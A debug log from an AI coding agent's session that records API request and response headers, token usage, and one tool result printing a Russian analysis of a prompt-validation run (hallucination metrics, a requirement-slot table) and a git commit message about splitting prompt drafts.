UGe91PmA/9e+0cXXISSxbtfEKwf1FAGE/6WbjgCVtx6Z+PXYrtzi4e11CkRETboU8I+8apyBpvWwk+drHwLesJ86v4orSA0n0axbgrmyqdw9msbihe3jtEXT5piwimoVWJHeau851yGVzGxzsLptJdz3voZxh7q+ND1K/Nrv8jSer95QQbYuvKMv6qy3M/xDAFj2vdH6LnVu3/oQ+4aVT6GGsFSgyePCVvOmW5iZMH1rBczRXdNMVwmVXFVTj8Z3InxYP/Z1lHa3xcSekUF2+oJFEADyuTxZi5P3w+aIhym5szbCc+AtvDAKW2WmnO3Ind+My4mziYkIVZ1tSDVIxSZlL7uc5UEEYDr4dEffQOIEa+9lJMAK0lps5m/X20DfgFBSAYGAXazzzLy1VZR7khj3aTzATn1wrf1tXWW1KgOv3Wlsw+EWswoECg2bwZ8vuPanmZNJpCoeQ2kH87BRLLnWj/p49dJgWiDqQuSuFjIICuRCN93yKULPINRwPlwLNw96Q2fo0WhwWim6t9Rjn7OkQLCEmxTNcvXvdPfMcL2ez0/iVl5jwG+fjo77iwuFS4zjXZE9J8u9CnYwG83RY31GWEdGwWiWd0vLHsiDmraWNzCp7GlGgLUnlIHvXLE+2t059fW+EX6g51Pih8rGEiqHVlN2BqoSOgJm72en/Qcex3zrPaCXKzd/DbWNQvN1JLj0cqz2PIGasJU54EFiW2gahzekw/vgoUqd23X0ESGJVe5xpxHeZAgDjny+w1CN1p0lQ8hm9GrV8lEgCY7p03bVMPw/zKx8I2oajWX+7RgINVegJqeUiC4gzkpxgtfjRZHk2R1LC5tOJKCBWYNrKZNsMkNtflUiwJj/ic6OVdy850sKcCThQ1naOrmdY4gwSidM45Wpq5hUIIucyNNQpdfVkZbW41Zl4aOYPokXlDQjhoNYcbosyN/Un78vEaH/nJ+O8lImhtMXgjryKr9+F7MmPBWgTctUa7jGJ1lwBVqgyjHrmziz1cjjDl5X2U985RG7kqpMN8ft9Ao9llnqymC7I5DEhTjniYcvpDamkQ24zJau0ktO+fLAfRyLLABckO/KsbBeQi5oUDufxzPX8CrfRnAcsiZbBWtbbRXoi6eRhWWjqEx+tDCbu5JNyNS8y0Atc+6IcshspE80WaEFgXk39M9SUg0Vyn8vmJ/L9BYmKg1e2RfNoG8fd8TiklrNKOq1nrdk0ls1pnrMMPBz+ihTotPlueFDG9PLrl7d133eASou/kZjP4rtC1j684nck+KqVwciWYqVaJGbBdzob9MtkT2AR9KHFPQDgH0uLgjSav4tWPGmydtrqtygYsFUknA2DoUJJfx3cvKPGKP3sS9XL2oCRgB\"\n[2026-09-29T07:50:27.178Z] [INFO]       }\n[2026-09-29T07:50:27.178Z] [INFO]     ],\n[2026-09-29T07:50:27.178Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:27.178Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:27.178Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:27.178Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:27.178Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:27.178Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:27.178Z] [INFO]       \"cache_creation_input_tokens\": 7379,\n[2026-09-29T07:50:27.178Z] [INFO]       \"cache_read_input_tokens\": 83909,\n[2026-09-29T07:50:27.178Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:27.178Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:27.178Z] [INFO]         \"ephemeral_1h_input_tokens\": 7379\n[2026-09-29T07:50:27.178Z] [INFO]       },\n[2026-09-29T07:50:27.178Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:50:27.178Z] [INFO]       \"service_tier\": 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600000,\n[2026-09-29T07:50:30.856Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:30.862Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:30.867Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:30.872Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:30.876Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:30.881Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:30.891Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:30.895Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:30.898Z] [STDOUT]     },\n[2026-09-29T07:50:30.900Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:30.902Z] [STDOUT]   },\n[2026-09-29T07:50:30.904Z] [STDOUT]   headers: {\n[2026-09-29T07:50:30.907Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:30.910Z] [STDOUT]     \"anthropic-beta\": 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8`, **`hallucinations_shipped: 1`**,\\n`success_rate: 0.63`, \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `works-with-edits`. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430:\\n\u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n\\n| \u041c\u0435\u0442\u043e\u0434\u044b \u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f API | \u00ab\u0418\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\u00bb, \u00ab\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0436\u0430\u0442\u0438\u044f\u0445 DTMF \u043a\u043b\u0430\u0432\u0438\u0448\u00bb | `S-INTEGRATION`, \u0435\u0441\u043b\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0445 \u043c\u0435\u043d\u044f\u0435\u0442; \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u041e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433 \u0438 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 | \u00ab\u0411\u043b\u043e\u043a 3. \u0417\u0432\u043e\u043d\u043a\u0438\u00bb, \u00ab\u0428\u0430\u0433\u0438 \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430\u00bb, \u00ab\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f\u00bb | `S-SCOPE`; \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `S-SCENARIO` | \u043d\u0435\u0442 |\\n| \u0422\u0430\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u043e\u043f\u043b\u0430\u0442\u0430 | \u00ab\u041f\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0447\u0435\u0442\u00bb, \u00ab\u0411\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u00bb, \u00ab\u0420\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u044b\u00bb | `S-LIMITS` \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0438, \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f | \u00ab1.\u00bb, \u00ab2.\u00bb, \u00ab3.1.\u00bb \u0432 `sip-trunk` | \u0448\u0443\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430 PDF, \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b | \u043d\u0435\u0442 |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430 \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u0441\u043b\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u0435 \u0438\u0437 14\\n\u0441\u043b\u043e\u0442\u043e\u0432. \u042d\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u043d\u0435 \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f \u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0442 \u043f\u043e\u0434\\n\u043a\u0430\u0436\u0434\u044b\u0439 \u0447\u0438\u0445\u00bb: \u043d\u0430 860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c.\\n\\ncommit d8a47597ed9f0301e03086e7c14cbd35205b01d1\\nAuthor: konard \\nDate:   Thu Jun 11 08:44:14 2026 +0000\\n\\n    refactor: split BA prompts draft into 23 standardized files (#56)\\n    \\n    Migrate \\\"prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md\\\" into 23 separate prompt\\n    files using the [domain]-[operation]-[mode].md naming scheme.\\nexperiment-1027-analysis.md\\nShell cwd was reset to /tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:50:35.285Z] [INFO]         \"is_error\": false\n[2026-09-29T07:50:35.285Z] [INFO]       }\n[2026-09-29T07:50:35.285Z] [INFO]     ]\n[2026-09-29T07:50:35.285Z] [INFO]   },\n[2026-09-29T07:50:35.285Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:35.285Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:35.285Z] [INFO]   \"uuid\": \"431a3775-2744-4eac-8dd9-486badcdfdc6\",\n[2026-09-29T07:50:35.285Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:35.274Z\",\n[2026-09-29T07:50:35.285Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:50:35.285Z] [INFO]     \"stdout\": \"**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:** [RUN-0018](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0018),\\n\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 1079 \u00ab\u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430\u00bb, \u043c\u043e\u0434\u0435\u043b\u044c\\n`qwen3.7-plus`, 8 \u0448\u0430\u0433\u043e\u0432.\\n\\n**\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e.** \u041f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442\\n[`fr-validation-stepwise.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/fr-validation-stepwise.md)\\n\u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u043a\u0430\u043a \u043d\u0430\u0432\u044b\u043a: \u0432\u043e\u0441\u0435\u043c\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 \u2014\\n\u0430\u0443\u0434\u0438\u0442, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0439, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0438, \u0432\u044b\u0447\u0438\u0442\u043a\u0430, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439. \u042d\u0442\u043e \u0434\u0435-\u0444\u0430\u043a\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 `G-self`.\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442** (\u043f\u043e\u043b\u0435 `metrics` \u043f\u0440\u043e\u0433\u043e\u043d\u0430): `episodes: 8`,\\n`ba_edits: 6`, `hallucinations: 8`, **`hallucinations_shipped: 1`**,\\n`success_rate: 0.63`, \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `works-with-edits`. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430:\\n\u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n\\n| \u041c\u0435\u0442\u043e\u0434\u044b \u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f API | \u00ab\u0418\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\u00bb, \u00ab\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0436\u0430\u0442\u0438\u044f\u0445 DTMF \u043a\u043b\u0430\u0432\u0438\u0448\u00bb | `S-INTEGRATION`, \u0435\u0441\u043b\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0445 \u043c\u0435\u043d\u044f\u0435\u0442; \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u041e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433 \u0438 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 | \u00ab\u0411\u043b\u043e\u043a 3. \u0417\u0432\u043e\u043d\u043a\u0438\u00bb, \u00ab\u0428\u0430\u0433\u0438 \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430\u00bb, \u00ab\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f\u00bb | `S-SCOPE`; \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `S-SCENARIO` | \u043d\u0435\u0442 |\\n| \u0422\u0430\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u043e\u043f\u043b\u0430\u0442\u0430 | \u00ab\u041f\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0447\u0435\u0442\u00bb, \u00ab\u0411\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u00bb, \u00ab\u0420\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u044b\u00bb | `S-LIMITS` \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0438, \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f | \u00ab1.\u00bb, \u00ab2.\u00bb, \u00ab3.1.\u00bb \u0432 `sip-trunk` | \u0448\u0443\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430 PDF, \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b | \u043d\u0435\u0442 |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430 \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u0441\u043b\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u0435 \u0438\u0437 14\\n\u0441\u043b\u043e\u0442\u043e\u0432. \u042d\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u043d\u0435 \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f \u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0442 \u043f\u043e\u0434\\n\u043a\u0430\u0436\u0434\u044b\u0439 \u0447\u0438\u0445\u00bb: \u043d\u0430 860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c.\\n\\ncommit d8a47597ed9f0301e03086e7c14cbd35205b01d1\\nAuthor: konard \\nDate:   Thu Jun 11 08:44:14 2026 +0000\\n\\n    refactor: split BA prompts draft into 23 standardized files (#56)\\n    \\n    Migrate \\\"prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md\\\" into 23 separate prompt\\n    files using the [domain]-[operation]-[mode].md naming scheme.\\nexperiment-1027-analysis.md\",\n[2026-09-29T07:50:35.285Z] [INFO]     \"stderr\": \"\\nShell cwd was reset to /tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:50:35.285Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:50:35.285Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:50:35.285Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:50:35.285Z] [INFO]   }\n[2026-09-29T07:50:35.285Z] [INFO] }\n[2026-09-29T07:50:35.328Z] [STDOUT] [log_ddbe00] sending request {\n[2026-09-29T07:50:35.335Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:50:35.338Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:35.340Z] [STDOUT]   options: {\n[2026-09-29T07:50:35.348Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:50:35.351Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:50:35.355Z] [STDOUT]     body: {\n[2026-09-29T07:50:35.357Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:50:35.359Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:50:35.360Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:50:35.363Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:50:35.365Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:50:35.367Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:50:35.368Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:50:35.370Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:50:35.376Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:50:35.379Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:50:35.381Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:35.389Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:35.391Z] [STDOUT]     },\n[2026-09-29T07:50:35.393Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:35.394Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:35.397Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:35.399Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:35.401Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:35.403Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:35.405Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:35.407Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:35.409Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:35.411Z] [STDOUT]     },\n[2026-09-29T07:50:35.413Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:35.415Z] [STDOUT]   },\n[2026-09-29T07:50:35.417Z] [STDOUT]   headers: {\n[2026-09-29T07:50:35.418Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:35.421Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:50:35.423Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:50:35.425Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:50:35.426Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:50:35.428Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:50:35.430Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:50:35.432Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:50:35.434Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:50:35.435Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1751\",\n[2026-09-29T07:50:35.437Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:50:35.439Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:50:35.441Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:35.443Z] [STDOUT]     \"x-client-request-id\": \"5e2f4bc2-cbac-432a-bd5c-1032d6fa9d5e\",\n[2026-09-29T07:50:35.445Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:50:35.447Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:50:35.449Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:50:35.456Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:50:35.460Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:50:35.464Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:50:35.466Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:50:35.468Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:50:35.472Z] [STDOUT]   },\n[2026-09-29T07:50:35.474Z] [STDOUT] }\n[2026-09-29T07:50:36.316Z] [STDOUT] [log_ddbe00, request-id: \"req_011CfXN9ed64dSDeyaz6DASL\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 988ms\n[2026-09-29T07:50:36.325Z] [STDOUT] [log_ddbe00] response start {\n[2026-09-29T07:50:36.350Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:36.354Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:36.357Z] [STDOUT]   headers: {\n[2026-09-29T07:50:36.361Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:36.364Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:36.366Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:36.368Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:36.370Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:36.375Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:36.381Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:36.388Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:36.392Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:36.396Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:36.399Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:36.404Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:36.409Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:36.414Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:36.421Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:36.431Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:36.435Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:36.440Z] [STDOUT]     \"cf-ray\": \"a42965d6dc9201ff-CDG\",\n[2026-09-29T07:50:36.447Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:36.450Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:36.452Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:36.459Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:36.463Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:36 GMT\",\n[2026-09-29T07:50:36.466Z] [STDOUT]     \"request-id\": \"req_011CfXN9ed64dSDeyaz6DASL\",\n[2026-09-29T07:50:36.469Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:36.472Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:36.476Z] [STDOUT]     traceresponse: \"00-dfbf38caa41c8e8f29c3bc268225d5c5-faf7e1443fb834dc-01\",\n[2026-09-29T07:50:36.478Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:36.482Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:36.490Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:36.494Z] 